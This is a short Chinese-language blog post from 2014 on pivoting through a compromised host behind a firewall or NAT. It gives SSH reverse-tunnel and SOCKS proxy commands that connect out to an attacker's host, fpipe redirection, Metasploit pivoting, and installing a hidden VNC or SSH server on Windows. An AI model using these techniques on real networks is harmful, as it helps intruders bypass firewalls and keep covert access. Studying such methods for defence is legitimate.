2014年7月21日 星期一

防火牆內的跳板

如果在防火牆內,可能所有對內的直接連線都被擋住了,或者是使用 NAT,以至於對內都需要透過私人 IP 的轉換。

我提供一些簡單的作法,即使是防火牆內部,或者 NAT 內部的機器仍然能夠當作跳板再轉戰連線出去。

以資安防護的思維來看,我們知道只要內部有機器被入侵成功了,防火牆幾乎等於失去功能了(當然如果連內對外連線也限制的話,路由就比較麻煩一點。)

以下假設內部主機為 Bob,外部主機為 Trudy,我們目的是要使用 Bob 為跳板,連線到任何地方

Linux

假設 Bob 的作業系統為 Linux,確定其安裝了 sshd,如果沒有就幫它安裝,然後假設監聽於 port 2202,用於 sshd 的帳號為 bob。

Trudy 也安裝了 sshd,監聽於 port 2201,用於 sshd 的帳號為 trudy。

於 Bob 執行如下:
Bob$ ssh -R8809:127.0.0.1:2202 -p2201 trudy@(Trudy's IP)

於 Trudy 執行如下:
Trudy$ ssh -D8808 -p8809 bob@127.0.0.1

這樣之後,在 Trudy 處就有一個 SOCKS proxy 監聽於 127.0.0.1:8808 可以使用,這條 proxy 連線會從 Trudy 連到 Bob,將 Bob 當作跳板連到任何地方。

以上第一條指令是透過 Bob 反向連線到 Trudy,並且在 Trudy 處建立 127.0.0.1:8809 監聽,連到 127.0.0.1:8809 都會被導到 Bob 的 127.0.0.1:2202。

第二條指令是透過連到 127.0.0.1:8809 間接連到 Bob 的 sshd,並且建立 SOCKS proxy 監聽於 8808。

以上的 ports 都可以根據環境改變。

Windows

如果 Bob 為 Windows,情況就比較麻煩一點,有三種作法。

第一種透過 McAfee 的 fpipe 工具來做連線導向,例如以下指令將連於 53 的連線導到 192.168.1.101:80:
fpipe -l 53 -r 80 192.168.1.101

這方法比 Linux 上的限制多很多,如果是 NAT 後面就無法使用,防火牆有擋所有對內連線也不能用。

第二種是透過 Metasploit (msf) 的 pivoting 能力,但前提是一開始就透過 msf 來攻擊。

第三種是透過安裝 SSHWindowsfreeSSHd 之後,利用 PuTTY 操作剛剛說的 Linux 手法來通透轉線。這通常需要遠端桌面的控制權,不是非常隱密的作法,可以先透過安裝隱密的 VNC 來驗證是否電腦正有人在使用(但是你還是不知道是否有人在看著螢幕)。

SSHWindows 據說在 Windows 7 之下會把 path 環境變數改掉,我自己則沒有用過這種手法,也沒耐心嘗試。

當然,你也可以自己寫工具來達成跳板目的,我個人覺得光是為了跳板的目的而大費周章,很麻煩就是了。真要寫的話,應該是以長期控制的後門程式為目的,而非僅是為了跳板。

沒有留言:

張貼留言